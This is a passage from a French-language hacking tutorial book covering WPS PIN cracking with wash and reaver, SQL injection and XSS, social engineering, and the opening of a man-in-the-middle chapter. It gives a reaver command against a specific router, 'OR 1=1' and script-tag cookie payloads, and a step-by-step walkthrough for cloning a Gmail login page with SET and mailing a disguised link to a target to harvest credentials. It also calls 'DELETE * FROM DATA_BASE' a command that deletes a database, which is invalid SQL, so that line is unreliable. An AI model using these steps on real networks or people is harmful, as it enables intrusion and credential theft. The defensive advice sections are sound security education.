Une fois que vous avez trouvé le nom de votre interface sans fil, nous devrons commencer à surveiller les données sans fil sur cette interface.

Wash est un outil qui permet de scanner l’entourage à la recherche de réseaux ayant le protocole WPS activé. Mettez donc votre carte réseau en mode moniteur pour pouvoir lancer wash :

[image: image]airmong-ng start “interface”

[image: image]

[image: WPS_airmon]

Avec la carte réseau en mode moniteur vous pouvez maintenant lancer wash à la recherche de réseaux ayant un WPS active.  Exécutez la commande suivante :

[image: image]wash -i “interface-moniteur”

[image: image]

[image: wps_error]
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[image: image]

Oups ! Une erreur !

[image: image]


En vérité, je ne connais pas l’origine de cette erreur, mais le fait d’exécuter la commande ifconfig wlan0mon up, fera tout rentrer dans l’ordre :

[image: WPs_up]

Ré-exécutez la commande wash -i wlan0mon. Cette fois-ci, vous devriez avoir un résultat similaire à celui-là :

[image: abdou_wps]

En exécutant la commande reaver -i wlan0mon -b 74:DA:DA:BD:70:69 -vv j’ai pu cracker le code PIN et récupérer le mot de passe du Wi-Fi en quelques secondes seulement :

[image: abdou_crack]

Une fois l’opération terminée, vous remarquerez un champ dans la sortie appelé WPA PSK. Ceci représente la clé pré-partagée et c'est la valeur qui vous concerne. Mais songez à la puissance de ce logiciel entre les mains d’un pirate. 

Même si la cible a sécurisé son réseau avec WPA2 (ce qui empêcherait la plupart des utilisateurs réguliers), un pirate pourrait toujours utiliser ce logiciel pour pénétrer dans son réseau si’il est vulnérable à cette faille. Il pourrait ensuite utiliser des techniques de reconnaissance pour détecter et cartographier le réseau local. 

Il peut utiliser NMAP pour identifier d'autres ordinateurs, analyser ces hôtes pour rechercher des ports ouverts ou exécuter un outil tel que OpenVAS pour rechercher des vulnérabilités.

Il serait également très facile pour un attaquant de mener une attaque de type "man-in-the-middle" (comme je vais vous montrer comment le faire plus loin dans ce guide) pour voler toutes sortes d'informations précieuses.

Notez juste quelques mises en garde sur le processus : 


›  Tout d’abord, vous aller devoir vous assurer que vous avez un signal fort. Un signal incroyablement faible peut multiplier le temps nécessaire pour déchiffrer un mot de passe ou même entraîner l'échec total de l'opération. En outre, Reaver ne parviendra pas à cracker le mot de passe avec succès, mais il fonctionnera dans l’ensemble avec une grande majorité de modèles de routeurs.

›  Enfin, notez que vous pouvez enregistrer votre travail tout au long du processus si vous êtes interrompu. N'éteignez pas votre machine virtuelle car vous perdrez votre progression. Cependant, en appuyant sur ctrl + C, vous pouvez quitter l'opération et Reaver enregistre le travail effectué en mémoire....




EN RÉSUMÉ

Comme indiqué précédemment, les outils de hacking deviennent tellement sophistiqués qu’ils sont extrêmement faciles à utiliser. Comme d’autres outils, le plus difficile est la patience nécessaire pour l’installation du logiciel et l’apprentissage des syntaxes. 

Une fois que vous avez terminé le processus d’installation, vous pouvez diriger votre canon de cracking de mots de passe vers un réseau sans fil. Celui-ci fera tout le travail à votre place.

La partie effrayante à propos de ce logiciel est qu’il est gratuit et facilement accessible à toute personne disposant d’une connexion Internet. Rappelez-vous simplement de ne pas abuser de votre pouvoir en envahissant la vie privée de quelqu'un.
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Chapitre 11
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web application hacking

Jusqu'à présent, nous avons examiné la manière de pénétrer des périphériques physiques.

En revanche, les vulnérabilités basées sur le Web sont un domaine complètement différent. Au lieu de fouiller et d'essayer d'accéder aux réseaux physiques, d'utiliser des techniques de reconnaissance et de rechercher des exploits à utiliser sur les hôtes du réseau, les vulnérabilités Web peuvent être effectuées via un navigateur Web. 

Il existe de nombreux types de vulnérabilités Web, mais les deux principales préoccupations sont les attaques SQLi (Injection SQL) et XSS (Cross-Site Scripting). Ces attaques constituent un énorme problème car elles sont très fréquentes et Internet est l’arène d’attaques SQLi et XSS.

[image: owsp]

Internet est un lieu extrêmement dangereux dans la société moderne. Même si vous prenez le plus grand soin de renforcer vos périphériques informatiques en appliquant les mesures de sécurité les plus récentes, il est fort possible que votre navigateur Web ou votre serveur Web puisse être compromis par des pirates informatiques du monde entier. 

Les attaques ciblant les vulnérabilités Web se produisent tous les jours et rien ne dit qu’elles pourraient lancer une attaque contre un site Web car il n’y a pas de frontières géographiques sur Internet. 

Même si certains pays prennent des mesures extrêmes pour censurer leur Internet, il est assez facile de contourner ces restrictions avec un tunnel VPN, offrant à la plupart des utilisateurs du monde entier un moyen simple et économique de se connecter à des serveurs et des ressources bloqués par leur gouvernement.

Afin d’illustrer la manière dont les vulnérabilités Web peuvent être exploitées par des personnes d’autres pays, considérons la plate-forme WordPress. Pour ceux qui ne le savent pas, WordPress est un outil extrêmement populaire utilisé pour créer des sites Web avec une interface visuelle très intuitive. 

WordPress est capable d'ajouter des tonnes de fonctionnalités à n'importe quel site web via des modules de code téléchargeables appelés « plugins » et « widgets ». Le seul problème avec ces modules de code est que vous ne savez pas à quel point le développeur est compétent en termes de sécurité.

Pour être juste, WordPress fait un excellent travail pour garder les modules qui contiennent du code malveillant loin de leur plate-forme de développement. Cependant, le vrai problème réside dans la sécurité. Même les meilleurs développeurs font quelques fois des erreurs de sécurité, mais vous n'avez aucun moyen de savoir à quel point l'auteur de votre plugin était soucieux de sa sécurité. 

En conséquence, nous avons vu des pirates informatiques trouver des exploits dans des plugins très populaires et en tirer parti.

Je parle d’extensions qui ont été téléchargées et installées sur des sites Web des millions de fois.

Par exemple, un plugin WordPress appelé WP Super Cache avait été téléchargé et installé par plus d’un million de sites Web actifs. La faille impliquait l’injection de code SQL (nous en parlerons bientôt) dans la base de données d’un site Web afin de provoquer une anomalie qui crasherait le système. 

Mais voici la partie effrayante : la vulnérabilité était exploitée par le groupe extrémiste bien connu ISIS ! Ce type d'attaques se produit quotidiennement et crée de gros problèmes pour les propriétaires de sites Web. 

C'est vraiment incroyable de se dire que quelqu'un à l'autre bout du monde puisse cibler votre site Web et voler vos données sans autre motif que de provoquer le chaos et la perturbation. C’est vrai ce qu’ils disent, je suppose. Certaines personnes veulent juste regarder le monde brûler. 

Cependant, ce chapitre adoptera encore une fois une approche white hat pour exploiter des vulnérabilités des application Web. Le but est que vous compreniez de base leur fonctionnement et la manière dont ils peuvent nuire à un site Web.




injection SQL

Nous devons d’abord commencer par une brève description de SQL. SQL (Structured Query Language) est un langage de haut niveau utilisé pour communiquer avec des bases de données.

Il aide les développeurs d'applications et les sites Web à insérer, mettre à jour et supprimer des informations dans des bases de données. Certaines requêtes sont extrêmement puissantes. Par exemple, avec une commande SQL, vous pouvez ajouter une entrée à une base de données ou même supprimer toutes les entrées d’une base de données entière.

Par exemple, cette commande supprime toute une base de données :

[image: image]DELETE * FROM DATA_BASE

[image: image]

Dans l’ensemble, les utilisateurs externes d’un site Web utilisant une base de données n’ont pas accès aux données qu’ils contiennent. Si un site Web est correctement sécurisé, aucun attaquant ne peut voler des données ou les modifier dans une base de données. 

Il n’y a qu’un seul problème. Les formulaires Web contiennent souvent des défauts de conception qui les rendent vulnérables à une attaque SQLi (Injection SQL), permettant à un pirate d'insérer son propre code malveillant dans une base de données pour perturber leurs enregistrements. 

Commençons par un exemple élémentaire afin que vous puissiez comprendre comment vos données sont stockées dans une base de données.

Lorsque vous entrez des informations sur un site Web, supposons que vous naviguez sur Internet sur un site de e-commerce et que vous souhaitez acheter un livre. 

Pour exécuter votre commande, vous devez fournir au site de nombreuses informations, notamment votre nom, adresse postale, code postal, pays, numéro de téléphone et coordonnées de carte de paiement. 

Très probablement, le site Web vous demandera d’abord de créer un compte avec un nom d’utilisateur et un mot de passe. En entrant toutes ces données dans un formulaire sur le site Web : elles sont ensuite « connectées » au code SQL s'exécutant en arrière-plan pour stocker correctement les données dans une base de données.

D’abord, tout bon développeur valide correctement les données que vous avez saisi, c’est-à-dire qu'il recherchera les caractères qui ne lui appartiennent pas. Par exemple, si le formulaire Web vous demandait de saisir votre numéro de téléphone, des données correctement analysées généreraient un message d'erreur si vous saisissez des caractères spéciaux dans le champ au lieu de chiffres. 

Vous ne pouvez tout simplement pas appeler le numéro «347-230 (». Le caractère de parenthèse ouverte n’appartient pas au champ du numéro de téléphone, vous ne pourrez donc pas poursuivre le processus d’inscription tant que vous n’aurez pas entré un numéro valide.

Mais c’est ici que le problème commence. Si le développeur a commis une erreur dans son code qui ne valide pas correctement les données, un pirate pourrait insérer (c'est-à-dire injecter) du texte dans le champ du formulaire Web qui modifie complètement le fonctionnement de l'instruction SQL. 

En plaçant du code SQL dans le formulaire Web, l'attaquant a la possibilité de perturber la base de données.

Mais comment déterminer si un formulaire Web peut potentiellement permettre à un pirate informatique d’injecter son propre code malveillant dans la base de données SQL ? Tout revient à afficher les messages d'erreurs affichés après avoir essayé de saisir des données dans un champ. 

Par exemple, vous pouvez tester ceci en entourant les données saisies dans un champ de formulaire Web de guillemets (‘). 

Le plus souvent, si un message d'erreur apparaît, cela signifie que vous pouvez injecter du code avec succès dans le système SQL. 

[image: sql_example]

Dans les cas plus rares, le formulaire peut afficher un écran vide. Dans ce cas, la base de données peut (ou non) être injectable. Lorsque cela se produit, les pirates utilisent un processus appelé injection SQL aveugle (blind SQLi) car ils ne peuvent pas voir directement l’impact de leur code injecté sur la base de données. 

Si aucune de ces choses ne se produit, il est probable que le site Web ne soit pas vulnérable à l’injection SQL.

S'il a été déterminé qu'un site Web est effectivement sujet à l'injection SQL, voici le code qu'un attaquant pourrait injecter dans le code SQL d'arrière-plan afin de faciliter l'attaque :

[image: image]“OR 1 = 1”
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Ce code est problématique pour le site Web car il entraînera toujours une instruction à évaluer comme TRUE (VRAI) et à remplacer toute instruction logique codée dans la commande prévue. 

Par exemple, considérons une commande destinée à mettre à jour un champ si les critères conditionnels sont remplis. L’intention de la commande était peut-être de parcourir la base de données, de rechercher l’utilisateur “Adam gates” et de mettre à jour sa carte de crédit.

Au fur et à mesure que la base de données parcourt chaque entrée, elle évalue la valeur du champ utilisateur et n'effectue des modifications que sur les enregistrements contenant un utilisateur portant le nom de “Adam gates”. Tout nom ne correspondant pas à “Adam gates” sera considéré comme faux et les numéros de cartes de crédits de ces enregistrements ne seraient pas mis à jour.

Cependant, lorsque la commande « OR 1 = 1» est appliquée à l'instruction logique, les choses commencent à se décomposer.

Les instructions “OR” sont toujours évaluées sur TRUE si l'une des expressions ou les deux, de part et d'autre de l'instruction “OR”, sont évaluées sur TRUE. Ainsi, dans cet exemple, tous les enregistrements de la base de données seraient évalués à true, car 1 = 1 est toujours une instruction VRAIE.

L’effet net est que toutes les informations de cartes de crédits des utilisateurs seraient remplacées par de fausses données. 

Bien qu'il soit fort probable que des copies plus anciennes de la base de données aient été créées pour une sauvegarde, cette attaque crée un problème considérable. En un clin d'œil, un pirate a effacé de manière efficace toutes les informations de carte de crédit de la base de données actuellement active et l’entreprise est foutue. 

De plus, si de nouvelles données ont été entrées dans la base de données mais que ces informations n’ont pas été sauvegardées jusqu'à présent, ces données ont disparu pour toujours. Mais ce n’est qu’un exemple. En utilisant ces types de techniques d’injection, un pirate peut effectuer les opérations suivantes :


›  Supprimer des informations sensibles.

›  Escalader les privilèges sur le site.

›  Créer de nouveaux comptes administratifs.

›  Voler des noms d'utilisateur et mots de passe.

›  Voler des données de carte de paiement.

›  Gagner contrôle complet sur une base de données.


Cependant, rappelez-vous qu’un pirate ne peut pas faire ces choses dans toutes les bases de données. Il ne peut effectuer ces tâches que sur des sites Web vulnérables aux attaques SQLi ^^!


Cross-site scripting (XSS)

Si vous n’êtes pas ni un expert en technologie ni familiariser avec la conception de sites Web et (surtout) si vous n’avez pas vu la première vidéo dont je vous ai parlé des bases que vous devez apprendre, vous n’avez probablement jamais entendu parler de XSS. 

Mais les attaques XSS ne sont pas nouvelles. Depuis les années 90, elles sont utilisées et exploitées. Mais les différentes manières dont les attaques XSS peuvent être exécutées sont beaucoup plus nombreuses que les attaques SQLi. 

Pour cette raison, le XSS est une technique beaucoup plus souple et peut être utilisé pour injecter du code malveillant dans le navigateur Web d’un utilisateur ou même pour prendre en charge une session entre un client et un serveur. 

Pour couronner le tout, un pirate n’a pas besoin de lancer l’attaque manuellement.

Au lieu de cela, tout peut être effectué automatiquement. On pourrait penser que parce que ces types d’attaques sont si anciens, leur utilisation et leurs fréquences s’affaibliraient, mais ce n’est tout simplement pas le cas. 

Pour cette raison, de nombreux professionnels de la sécurité White Hat considèrent les attaques XSS comme le fléau d’Internet. Malheureusement, ils peuvent être facilement évités mais trop de personnes ne prennent pas les mesures adéquates pour se protéger.




XSS et navigateurs Web

Les technologies de navigateur Web se sont rapidement accélérées au cours des cinq dernières années et offrent une tonne de logiciels précieux sans précédent à l’ère d’Internet. 

Lorsque vous les comparer à des navigateurs plus anciens tels que Netscape ! Les technologies qu’ils offrent aujourd’hui semblent vraiment stupéfiantes. 

Cependant, toutes les fonctionnalités et technologies supplémentaires qui ont été ajoutées aux navigateurs Web au cours de la dernière décennie ont accru les possibilités de failles XSS. Le défaut tout provient d’un navigateur Web exécutant un script.

Le langage HTML (Hyper Test Markup Language) est l’outil le plus populaire à ce jour pour la mise en forme du contenu Web. Les balises du code HTML peuvent modifier l’apparence des données sur les sites Web. 

Le problème est que Lorsque votre navigateur Web rencontre la balise <SCRIPT> en HTML, il exécute automatiquement le code qui y est contenu. 

Bien que cela soit une bonne chose car cela augmente considérablement l’utilité de votre navigateur Web. C’est un casse-tête pour les professionnels de la sécurité. Que se passe-t-il si le script que votre navigateur a exécuté était un morceau de code malveillant ? Les résultats finaux ne sont pas très jolis.

Pour vous aider à mieux comprendre le fonctionnement de ces types d’attaques, prenons l’exemple de la participation à un forum. 

Le forum nécessite que vous remplissiez des informations qui vous concernent comme une biographie, un avatar et un pseudonyme. En outre, ce forum vous permet de consulter les profils des autres membres et même de discuter avec eux directement sur le forum via des messages privés. 

Un jour, vous parcourez le forum et vous tombez sur un message écrit par un membre qui vous a complètement bouleversé. Pour examiner plus en détail la source du contenu étonnant, vous cliquez sur la page de profil de cet utilisateur.

D'où vient l'attaque ? Pouvez-vous prédire ce qu’il va se passer si l'utilisateur a pu injecter un script dans son profil ? Une fois que vous avez chargé sa page, votre navigateur Web va être attaqué. 

Mais comment diable une personne pourrait-elle injecter un code malveillant dans sa page de profil alors qu’elle n’a pas de privilèges administratifs sur le site Web ? Tout comme les attaques SQLi, les attaques XSS peuvent se produire lorsqu'un site Web ne valide pas correctement ses données. 

Dans cet exemple, l'utilisateur peut avoir incorporé du code dans un nombre quelconque de champs de sa page de profil. Si le pirate le souhaite, il peut intégrer un lien vers un script malveillant contenu sur un autre site Web dans l'un des champs de son profil. 

Cependant, le script ne sera pas affiché sur votre écran car il est contenu dans les balises <SCRIPT>. 

Une fois que votre navigateur aura chargé la page du profil du forum du pirate, il atteindra le lien vers le script et exécutera le code malveillant directement dans votre navigateur.

De plus, étant donné que vous êtes déjà authentifié auprès du site du forum, le code pourrait être construit pour qu’il puisse agir en votre nom. Bien que le script puisse facilement être écrit avec d'autres objectifs à l'esprit. Peut-être va-t-il voler les cookies de votre navigateur, qui contiennent des informations sensibles telles que les informations de connexion à d'autres sites. 

Pendant qu’il y est, peut-être que l'attaquant va voler votre historique de navigation. Si les informations contenues dans les cookies sont liées à des paiements en ligne, ils pourraient même être en mesure de voler vos informations d'identité et de carte de crédit. Le ciel est la limite car ce script que votre navigateur a exécuté pourrait être écrit pour faire presque n'importe quoi !

Par exemple, un attaquant peut utiliser ce petit code JavaScript pour avoir le cookie de la victime :

[image: image]<script>alert(document.cookie);</script>
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Une fois le code exécuté, on aura ce pop-up qui affiche le cookie : 

[image: xss_refleted]

C’est juste une simple illustration d’une faille XSS, mais les possibilités sont illimitées notamment si vous maîtrisez le langage JavaScript.




FAÇONS D’EMPÊCHER SQLI et XSS

Heureusement, il existe un peu de choses que les gens puissent faire afin de limiter les attaques XSS. Tout d’abord, en tant qu’utilisateur, vous devez vous assurer de désactiver les cookies. Ils sont nécessaires pour quelques sites, mais de nombreux types de cookies malveillants peuvent être utilisés contre vous. 

Ne commettez pas l’erreur de devenir trop paresseux pour retenir vos mots de passe en vous fiant aux cookies pour vous connecter automatiquement à vos sites favoris. C'est une énorme erreur. Ces cookies sont un fruit à portée de main pour un pirate.

Du point de vue d'un développeur Web, l'atténuation appropriée des attaques XSS commence par la validation des données de l’utilisateur. Comme on dit, mieux vaut prévenir que guérir. 

Si les développeurs Web prenaient toujours les mesures appropriées pour nettoyer les données, nous ne verrions que très peu d'attaques XSS (le cas échéant). Même si cela semble être un concept simple, vous seriez surpris du nombre des sociétés qui ont été exploitées avec une vulnérabilité XSS. 

Plusieurs des plus grandes entreprises dans le monde entier, tels que Facebook, Google, Twitter et d’autres méga-entreprises étaient victimes de ce type d’attaques car elles ont commis une erreur en matière de validation des données.




«HUMANS ARE THE
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WEAKEST LINK»
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Robert Willis


Chapitre 12
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INGÉNIERIE SOCIALE

Vous croyez peut-être à tort que le seul moyen de cracker des mots de passe est de saisir des commandes cryptées dans un terminal. Cependant, il existe certaines techniques bien plus simples que les hackers utilisent régulièrement pour avoir les informations des personnes. 

L'ingénierie sociale est une technique fréquemment utilisée par les hackers pour accéder aux réseaux. Vous devez donc bien comprendre ces techniques pour savoir comment les intégrer dans vos futurs tests d’intrusion et protéger votre vie des black hat.

Commençons par définir le terme ingénierie sociale. Fondamentalement, il s'agit d'un moyen pour manipuler des cibles pour qu'elles donnent inconsciemment leurs informations.

Le plus souvent, ces informations sont des données de comptes comme des noms d'utilisateur et des mots de passe qu'un hacker convoite pour accéder à un système informatique ou à un réseau.

Une fois qu’ils auront un point d’entrée sur le réseau, ils procéderont aux techniques de reconnaissance et aux procédures de balayage. 

Parfois, les pirates utilisent l'ingénierie sociale pour acquérir des informations d'identification bancaires ou des informations d'identification informatiques locales afin d'installer un virus ou un cheval de Troie. Généralement, l’ingénierie sociale est l'une des premières étapes d'un attaquant pour mener à bien un projet plus ambitieux.

Et devinez quoi ? C’est très facile pour un pirate de tromper une personne en l’abandonnant à divulguer ses informations, plutôt que de pirater son ordinateur et de les saisir par la force. Cela tient en partie à de la psychologie. Vous constaterez que les gens protègent toujours rapidement les informations personnelles et se demandent où en sont leurs données personnelles quand ils les saisissent en ligne. Mais, quand ils parlent avec un être humain, ils sont beaucoup plus laxistes. 

Bien sûr, vous pouvez avoir des doutes quant à la communication de votre numéro de sécurité sociale à un étranger par téléphone, mais envisagez un scénario court.

Supposons que vous soyez un comptable travaillant dans une entreprise de taille moyenne et que vous ne connaissez tout simplement pas tous les collaborateurs de votre entreprise. 

Un jour, vous recevez un appel vous expliquant qu’il y a eu des problèmes de réseau hier et que chaque compte doit être réinitialisé (ou une autre excuse crédible mais fictive) ou que votre compte sera bloqué en dehors des ressources du réseau de l’entreprise. Si l'ingénieur social réussissait à imiter quelqu'un du service informatique de votre entreprise, il est probable que vous lui donneriez votre nom d'utilisateur et mot de passe !

Cela nous amène à l’un des aspects les plus fondamentaux de la sécurité. Vous devez simplement savoir à qui faire confiance et à quelles ressources en ligne faire confiance. Un vieil adage vous assurera de ne jamais perdre votre confiance ; faites confiance, mais vérifiez ! Vous ne savez pas si cette personne au téléphone est légitime ou non. 

Le facteur de confiance est le principal défi des grandes entreprises en matière d'ingénierie sociale ; leur réseau éventuel pourrait être compromis par un individu qui prend tout pour lui. Prenez la sécurité physique et la défense comme une analogie. 

Peu importe la hauteur des murs de votre château, le nombre de soldats que vous avez déployés, la taille de votre infanterie de lance ou la force de vos unités de cavalerie montée. Il suffit d'un idiot pour voir un cheval de bois infiltré votre royaume et la prochaine chose que vous saurez est que votre empire s'est effondré. 

Une fois qu'un pirate rassemble des informations critiques avec l'ingénierie sociale, tout un réseau d'entreprise peut facilement être mis en péril.




Types d'attaques d'ingénierie sociale

Les criminels et les pirates adorent utiliser plusieurs méthodes d’attaque courantes à des fins d’ingénierie sociale en raison de leur taux de réussite élevé. 

Vous pensez peut-être que le grand public aurait déjà retenu leurs leçons, mais la triste vérité est que certaines personnes sont toujours victimes de ce type d’attentats parce qu’elles sont si naïves. 

Voici quelques-unes des méthodes d'ingénierie sociale les plus populaires que les pirates aiment utiliser.




1)  Un courriel d'une partie de confiance

Ne donnez pas vos identifiants à qui que ce soit et je parle de quiconque, y compris de vos proches. Malheureusement, les pirates peuvent élargir leur accès à un réseau après avoir réussi à pirater un ordinateur en poussant les utilisateurs de la liste de messagerie de l’ordinateur attaqué à confisquer davantage d’informations. 

En utilisant un compte de messagerie de l'ordinateur piraté, le pirate peut tirer parti de la relation de confiance qui existe entre la personne à qui il envoie un courrier électronique et celle qu'il a piratée.

Mais attention ! Les tentatives de l’attaquant pour collecter des informations sont généralement beaucoup plus sophistiquées qu’un courrier électronique disant : « Hey Thierry, pouvez-vous me donner votre nom d’utilisateur et votre mot de passe pour www.example.com? J'ai oublié mon mot de passe” Parfois, ils incluront un lien vers un autre site afin de tenter une attaque de phishing. 

D'autres fois, ils peuvent envoyer un lien infecté à une ressource qu'ils contrôlent et qui a l'air authentique, mais ils incluent un message vague du type « Hey Thierry, vous devez vérifier cette chose ! » Une fois que vous avez cliqué sur le lien, un virus ou un type de logiciel malveillant pourrait être facilement téléchargé sur votre ordinateur.

Après une attaque réussie, le pirate pourra accéder à votre ordinateur, à votre messagerie et à d’autres informations confidentielles. Et maintenant, l'attaquant dispose d'un nouveau carnet d'adresses électroniques à utiliser pour faciliter de nouvelles attaques, et le cercle vicieux se répète.

Être averti. Les pirates aiment manipuler et tirer parti des émotions des êtres humains en demandant de toute urgence l’aide dont ils ont besoin immédiatement.

Parfois, ils font appel à votre bonne nature et vous demandent de faire une contribution caritative à une personne dans le besoin. Bien qu'il soit navrant d'essayer de séparer le bon grain de l'ivraie et de savoir si vous aidez vraiment quelqu'un, vous devez vous protéger et ne pas donner d'argent si vous ne pouvez pas vérifier la société et créer un lien en tant qu'organisation réputée.




2)  Une fausse demande d'aide

Parfois, les pirates envoient des messages qui semblent provenir d’une entreprise légitime qui prétend répondre à une demande que vous n’avez jamais faite. Souvent, ils imiteront une grande entreprise réputée comptant des milliers d'utilisateurs pour augmenter leurs chances de réussite. 

Si vous ne leur avez jamais demandé de l'aide, vous devez éviter cet email comme la peste. Le vrai problème ici est le scénario dans lequel vous utilisez un produit ou un service de la société qu’ils imitent. Cependant, même si vous ne leur ayez pas initialement demandé de l'aide, vous pourriez être tenté de vouloir ce qu'ils proposent. 

Par exemple, supposons que le pirate usurpe l’identité d’un représentant d’une grande banque et qu’une erreur de compte-rendu ait amené la banque à commettre une erreur qui doit être vérifiée. Parce que vous voulez vous assurer que votre argent est en sécurité, vous décidez de faire confiance à ce faux représentant. Mais voici la prise. Le pirate affirmera qu'il doit d'abord « authentifier vos informations » pour voir si votre compte a été affecté par « l’erreur ». Vous leur donnez vos informations d'identification et la prochaine chose que vous saurez est que vous avez été cambriolé.

D'autres fois, un pirate tentera de classer une fausse déclaration qui semble crédible afin de prendre votre argent. 

Ces courriels utilisent presque toujours l'urgence pour motiver leurs cibles à agir.

Pour illustrer ces types d’attaques, voyons l’arnaque emblématique du prince nigérian.

Dans les années 80-90, cette arnaque battait son plein mais de nombreux autres imbéciles imitateurs ont créé leurs propres variantes de l’escroquerie. 

Dans l'escroquerie classique du prince nigérian, un imitateur d'un haut responsable nigérian (parfois un homme d'affaires, parfois des membres de la famille royale) envoyait un courrier électronique affirmant qu'il souhaitait transférer des millions de dollars sur le compte de la cible. 

Mais pourquoi voudrait-on donner autant d’argent ? Le mince mensonge que tant de gens ont mangé comme des bonbons était que l'argent était réservé à un budget politique, mais il n'a jamais été réellement dépensé !

En passant, avez-vous déjà entendu parler d'un politicien qui n'aurait pas dépensé tout son budget ? Bien sûr que non ! Mais si vous aviez la bonté d'aider ce prince nigérian, vous auriez la possibilité de conserver un quart ou un tiers de la valeur totale du virement bancaire. À la fin, beaucoup d'âmes pauvres, crédules et malheureuses se sont encore appauvries quand ils ont offert leurs fonds bancaires.




COMMENT SE PROTÉGER DE L’INGÉNIERIE SOCIALE ?

L’ingénierie sociale est un énorme problème car elle évolue avec la technologie et vous ne pouvez pas toujours savoir si une personne est légitime ou non. Heureusement, vous pouvez prendre de nombreuses mesures pour réduire les risques de victimisation par un attaquant qui utilise ces techniques.

Tout d’abord, prenez votre temps et réfléchissez au préalable aux conséquences de vos actes. L’attaquant adorerait si vous réagissiez à une situation sans penser à ce que vous faites, mais prenez un moment pour penser aux conséquences, même si le message fait état d’un scénario urgent.

Assurez-vous également que vous prenez le temps de vérifier et de valider toute information qui semble étrange ou suspecte. Rester toujours sceptique. Même si vous recevez un message d’une entreprise avec laquelle vous faites affaire, assurez-vous que le lien URL correspond à celui de son site Web. S'ils fournissent leur numéro de téléphone, vous pouvez effectuer une recherche sur Internet pour vérifier leur validité. Assurez-vous de ne jamais répondre à un courrier électronique demandant des informations telles que votre nom d'utilisateur ou votre mot de passe.

Les entreprises dignes de confiance ne demanderaient jamais vos informations personnelles dans un courrier électronique.

De plus, assurez-vous de ne jamais répondre à de faux messages prétendant être une réponse à l'aide que vous n'avez jamais demandée. Supprimez-les avant de les ouvrir, car ils pourraient contenir des liens vers des logiciels malveillants susceptibles de détruire votre ordinateur. 

Le meilleur moyen de lutter contre les mauvais liens est d'utiliser des moyens légitimes pour les trouver. Par exemple, ne suivez pas le lien dans un courrier électronique si vous souhaitez le vérifier. Utilisez plutôt une recherche sur Google, car il est extrêmement improbable qu'un attaquant doté d'un site Web légitimes en matière de référencement Web et tente de se hisser au sommet du classement des recherches.
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LE KIT D’INGÉNIERIE SOCIALE 

Social Engineering Toolkit (SET), en français « boîte à outils pour l'ingénierie sociale », est un logiciel développé par TrustedSec et écrit par David Kennedy en Python. Il est open-source et multiplateforme et propose un choix de fonctions permettant diverses attaques basées sur l’ingénierie sociale.

Dans cette partie je vais vous montrer comment effectuer une attaque de phishing avec SET afin de hacker les informations personnelles de votre cible, le tout en quelques étapes seulement.

SET vient préinstallé sur Kali linux, pour le lancer il suffit exécuter la commander  Setoolkit sur le terminal :

[image: image]setoolkit
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Pour ce tutoriel, nous allons utiliser le menu Social-Engineering Attacks. Tapez 1 et appuyez sur la touche [Entrée] pour continuer.

Nous serons accueillis avec un écran similaire à celui-ci qui présente de nombreuses attaques différentes.

[image: setoolkit_1]

Je vous guiderai à travers l'une des options les plus efficaces : les attaques par vecteurs. 

La majorité de ceux qui ont utilisé un ordinateur ont déjà utilisé Internet. Ceux qui ont utilisé Internet ont déjà tous cliqué sur un lien, n’est-ce pas ? ;) 

Ce type d’attaque va vous aider à abuser de la confiance d’un utilisateur sur Internet et compromettre sa sécurité juste en l’incitant à cliquer sur votre lien.

Tapez 2 et appuyez sur [Entrée] pour continuer.

[image: setoolkit_2]

Nous avons maintenant une liste de 8 vecteurs d'attaques différentes, toutes très efficaces. Les 3 vecteurs les plus efficaces sont Credential Harvester, Metasploit Browser et Java Applet Attack. Supposant que vous voulez mettre la main sur le compte Gmail de votre cible. En choisissant la méthode d'attaque de Credential Harvester,  Setoolkit copiera le site Web de Gmail et ajoutera un code de vol d'informations d'identification au code HTML.
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Si vous choisissez Web templates, vous constaterez que  Setoolkit a un modèle de page de connexion Gmail intégré. Mais d’abord, saisissons notre adresse IP à laquelle  Setoolkit doit envoyer les informations. Vous pouvez utiliser votre adresse IP externe si vous le faites sur Internet (WAN).

[image: setoolkit_4]

Une fois vous avez entré votre adresse IP, certains modèles Web vous seront présentés. Dans notre cas, nous voulons avoir les identifians d’un compte Gmail donc nous devrions choisir Google 

[image: setoolkit_5]

Setoolkit va générer la page de connexion et la mettre sur votre serveur ainsi que lancer le service apache2, le tout est automatisé.

[image: setoolkit_6]

Maintenant, si vous ouvrez votre navigateur et vous entrez votre adresse IP dans la barre de recherche vous aurez une page de login Gmail :

[image: setoolkit_7]

Maintenant que c'est déjà fini, envoyez simplement un e-mail à votre cible avec votre adresse IP comme lien, mais masquez le texte. Par exemple : au lieu d’envoyer "http://192.168.43.78/", vous enverrez"www.Gmail.com" avec votre adresse IP intégrée en tant que lien comme suit :

[image: setoolkit_8]

Maintenant, si vos mots parviennent à persuader la victime a cliquer sur le lien et entrer ses données vous recevrez les informations directement sur le terminal de  Setoolkit comme suit :

[image: setoolkit_10]




Chapitre 13

[image: image]

Les attaques de l'homme du milieu

Les attaques MITM sont extrêmement dangereuses pour les utilisateurs car une attaque réussie permettra à un hacker de visualiser toutes les données qu'un utilisateur envoie sur le réseau. 

Si l'utilisateur est en train d'établir une connexion à un serveur VPN, le hacker pourra capturer sa clé et déchiffrer ses messages chiffrés. De plus, il pourra voir tous les sites Web visités par l'utilisateur, ainsi que voler des informations telles que des noms d'utilisateur, des mots de passe et même des données de cartes de paiement.

Un attaquant réalise cet exploit en incitant l’ordinateur de la cible à penser que son ordinateur (celui de l’attaquant) est la passerelle par défaut ou la destination prévue pour la transmission de données. Par exemple, supposons que vous souhaitez effectuer une recherche Google.

Normalement, vos données sont envoyées vers votre passerelle par défaut (votre routeur sans fil, par exemple), acheminées via Internet, puis atteignent l’un des serveurs de Google. Toutefois, en cas d’attaque MITM, vos données sont d’abord envoyées à un hacker quelque part au milieu du processus avant d’atteindre les serveurs de Google.

[image: 74c4193e-b33e-41e2-921a-6f2916e9075b]

Ces attaques sont extrêmement dangereuses car il est très difficile de déterminer que vos données sont envoyées à un intermédiaire avant d’atteindre la destination voulue.

Les hackers le savent et leur objectif est de s’asseoir tranquillement et d’écouter discrètement tout le trafic que vous envoyez à votre insu.

Bien qu’il existe de nombreuses manières d’initier ce type d’attaque, comme dans le cas d’une attaque DNS redirigeant des informations vers l’adresse IP d’un hacker, elles sont le plus souvent effectuées à l’aide d’un processus appelé ARPspoofing.

Si vous vous en souvenez bien, je vous ai présenté le concept d’ARP dans un chapitre précédent. Si vous ne vous en souvenez pas, sachez qu’ARP est le processus qui relie une adresse de couche 2 (adresse MAC) à une adresse de couche 3 (adresse IP).

